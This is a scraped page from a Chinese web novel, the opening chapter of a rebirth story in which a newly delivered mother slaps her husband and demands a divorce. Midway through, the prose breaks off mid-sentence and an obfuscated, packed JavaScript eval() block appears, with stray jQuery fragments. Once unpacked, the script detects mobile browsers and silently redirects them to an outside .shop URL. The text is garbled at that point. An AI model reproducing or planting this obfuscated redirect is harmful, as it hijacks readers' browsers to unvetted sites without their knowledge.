文趣网 > 其他小说 > 重生之夫人吵着要和离 > 1. 重生
    花婵娟躺在床上,还没等她反应过来,身下传来一阵撕裂痛,“啊!”

    她猛地睁开眼睛,肚子里的东西迫切地想要冲出来。

    “夫人,再用点力气,孩子的头已经出来了!”

    稳婆在旁边出声提醒,瞥了眼盆里的血水,吩咐丫鬟:“再去打一盆水来。”

    “是。”

    花婵娟看着周围人手脚忙个不停,这是哪里?

    她不是已经死了吗?

    “啊!”□□又传来一阵撕裂。

    她抬起身子,又重重地倒下去,满头大汗,整张脸如白纸一样苍白。

    身体上传来剧烈的疼痛,让她的大脑根本无法好好思考。

    稳婆:“夫人!再用点力,孩子快要出来了!”

    花婵娟咬紧牙关再次挺起上半身,“啊!”

    “哇哇哇!”

    听到孩子的啼哭声,众人紧张的神情不由得放松下来。

    “大人!夫人生了!”小厮一脸兴奋的拱手道。

    孤守道紧握的拳头缓缓松开,脸上依旧风轻云淡。

    生了就好,没想到这次生老二,整整生了三天三夜,让你吃这么多苦,娟娟,以后我们不生了。

    “吱嘎!”稳婆抱着孩子出来,神情高兴道:“恭喜大人,贺喜大人,是个小公子。”

    孤守道淡淡瞥了眼,这臭小子竟然让他娘吃这么多苦,以后要不是个省心的孩子,我打烂他屁股!

    他微微皱眉,紧张问:“夫人可有什么事?”

    稳婆笑着道:“夫人什么事都没有,正在休息。”

    孤守道抬脚进去。

    稳婆拦住,“大人,夫人刚生了孩子,如果闯进去,对你可不吉利。”

    “让开。”

    孤守道声音不大,却让其他人不敢再有任何阻拦动作。

    他不是不知道这个规矩,只是娟娟在里面整整受了三天三夜的苦,比生老大受的苦还要多。

    他不进去看一眼,心里不放心,况且他这人根本就不相信什么鬼神之说。

    听到外面的脚步声,花蝉娟抬眼看过去,是记忆中那抹熟悉的身影。

    “娟娟,你怎么样了?”孤守道握着她的手,面色紧张地询问。

    现在也才六月份,她的手怎么这么凉?

    他双手使劲地搓,吩咐丫鬟:“准备暖手炉给夫人。”

    “是。”

    他抬眼看过去,心里狠狠一颤。

    “娟娟,你怎么了?”

    花蝉娟的脸像褪了色的宣纸,额头还沾着冷汗,鬓角的碎发湿漉漉地贴在脸上,眼眶泛红,泪水汹涌。

    她颤颤巍巍地举起手,用她全身上下仅存的力气扇过去,“啪!”

    准确无误地打在孤守道的脸上,五个指尖的印子清清楚楚印在脸上。

    众人震惊不已,大气都不敢出。

    夫人跟大人非常恩爱,两人几乎连架都没有吵过。

    可这次夫人生完小公子之后,二话不说打在大人脸上,而且还是当着这么多下人的脸。

    被内宅女人打巴掌,哪怕是自己的妻子,这传出去,得多丢脸。

    大人还怎么在朝廷上混?同僚之间也会取笑他。

    况且在月国,男人就是整个家里的顶梁柱,是整个天,女人都得服从自己的丈夫,不得忤逆,更别说动手打丈夫。

    孤守道眼里有震惊也有不解,她打这一巴掌,是意欲何为?

    是怪他让她生儿子,生了这么久?

    可是这生孩子不是他能决定的。

    他又没有做什么对不起她的事情。

    “娟娟。”

    话音刚落,“啪!”另外一巴掌也随之落在他脸上。

    众人:“……”

    她们头埋得很低,努力降低存在感,连呼吸都轻了几分,气氛紧张起来。

    孤守道:“……”

    这是生孩子受刺激了?

    看着她这副虚弱不堪的模样,心里十分的心疼她,将人揽入怀里,柔声道:“娟娟,我知道你受委屈了。”

    “不生了,我们不生孩子了,再也不生了。”

    花婵娟因为愤怒,而全身发抖,牙齿咯咯作响。

    “我恨你!”说完猛的推开他。

    “嘶!”因为动作太大,而扯到伤口,她痛苦的五官皱在一起。

    孤守道瞳孔猛的一缩,倒在地上,心疼而又震惊。

    “娟娟,你到底怎么了?”

    “我……”花婵娟眼前一黑,身下不断出血。

    “不好了!不好了!快叫大夫!”稳婆大惊失色。

    花婵娟听着耳边逐渐消散的声音,心想:如果这是梦,只恨没有多打他一巴掌。

    如果不是梦,我是真的又活过来了。

    那我不是把自己折腾没了。

    完了,上天好不容易给我一次重生的机会,就这样又折腾没了。

    王太医费了九牛二虎之力才将人从鬼门关拉回来。

    “大人,夫人刚生完孩子,需要安心养身体,您不要惹夫人生气。”

    孤守道心里有苦说不出来,不是他想吵架,是她一生完孩子就对他动手,根本没给他反应的机会。

    不过,他跟太医解释也没有用,真是哑巴吃黄连,有苦说不出。

    他低头恭敬道:“王太医说的是。”

    王太医收拾东西,说:“夫人过几日就会醒来,孤大人不必太担心。”说完抬脚离去。

    孤守道:“等等。”

    王太医停下脚步,转身回头问:“孤大人还有什么事?”

    “女人生下孩子之后,是不是情绪会变得激动?”

    王太医微愣,皱了皱眉头,“看个人体质,有的女人生下孩子是会出现反常的情绪。”

    “过段时间,这种反常的情绪就会消失。”

    孤守道抿了抿嘴唇,想来娟娟刚刚那样,必然是生孩子的缘故。

    王太医看了眼床上昏迷的花婵娟,又看了看低头思考的孤守道,注意到他脸上的巴掌印。

    王太医心中已了然他为什么会问这个问题。

    “咳咳咳,孤大人,既然夫人刚生产,不如先向翰林院休假几天。”

    “在府邸好好陪陪夫人,把夫妻之间的误会说清楚。”

    孤守道拱手,朝他微微作揖,“多谢王太医提醒。”

    送走王太医之后,孤守道去翰林院说明请假的事。

    虽然他在翰林院的职位不高,只是一个小小从七品的编修,负责修国史,起草文书,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17705898|208326||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    但他有时会替温丞相写贺表。

    这请假的一个月里,刚好是太后的四十岁生辰,他恐怕不能替温丞相写贺表。

    他脸上的巴掌印,非常的显眼,有好心的同僚过来询问。

    孤守道如实相告,听到是花婵娟打的,他们无一不是难以置信的表情。

    在众人眼里,孤大人虽然官位不高,但只娶了一位夫人,连个通房丫鬟都没有。

    这也让景阳城不少高门贵女羡慕孤夫人,嫁给专一又才貌出众的男人。

    孤守道坐在凳子上沉思,不光别人想不通花婵娟为什么要打人,连他自己也想不通。

    不过听完王太医说的话,他的内心也是稍稍放宽心,只是生了孩子情绪不稳定而已。

    等她身子恢复之后,娟娟就会变成以前温柔体贴的模样。

    花婵娟是在三天之后醒来。

    又是这间房间,她微微皱眉,打量起四周,看着自己的双手,没有一丝皱纹,白白嫩嫩,如刚剥了壳的鸡蛋。

    我,真的,重生了!

    她眨了眨眼睛,生孩子的那一幕又浮现在脑海里。

    我回到了过去,回到了生产那天。

    见到了年轻时的丈夫——那个跟我做了一辈子夫妻的孤守道!

    她垂下眼眸不解,那我是在生老大还是老二?

    她晃了晃头,生产时孤守道来见自己,只有生老二那次,他跟上辈子说了同样的话,“不生了。”

    她心中掀起惊涛骇浪,为什么会重生?

    门“吱嘎”打开。

    花婵娟闻声看过去。

    孤守道端着白粥走进来,面色一喜,脸上扬起淡淡的微笑,“娟娟,你终于醒了!”

    在她昏迷的这几天,他担忧的没睡好觉,时不时会过来看看她的情况,期盼她早日醒来。

    他眼帘下还有淡淡的乌青,“娟娟,这是白粥,我亲手给你熬的,你尝尝合不合胃口。”

    他一脸期待的舀起一勺,放在嘴边吹了吹,然后递过去。

    花婵娟面无表情的盯着他,“嘭!”

    白粥掉在地上摔了个粉碎。

    她淡淡瞥了一眼,眼里闪过一抹心疼,这可是上辈子到死都想吃的东西。

    孤守道脸上表情一僵,看着地上还在冒着热气的白粥,就这样浪费。

    他想要发怒的心,生生压住了,她刚生完孩子,情绪不稳定很正常。

    再说了,她就是这样,不喜欢吃的东西,宁愿浪费也不会勉强自己吃下去。

    谁让她生活在锦衣玉食的商贾之间,没有体会过食物的来之不易。

    她除了这一点不好,哪里都好,很温柔,非常的体贴人,不光是对他,就是对身边的下人也十分要好。

    美貌在她身上是最不起眼的一个优点。

    对于他说的话,更是百依百顺的听从,从来不会跟他唱反调。

    他疲惫时,会泡上一杯温茶,消散身上的疲劳。

    他主外,她主内,府里的大小事情从来不会让他操心。

    她是一个好妻子也是一个好的当家主母。

    花婵娟冷冰冰道:“我们和离吧!”

    孤守道:“!!!”

    他心头一震,久久不能平静,半晌说不出话。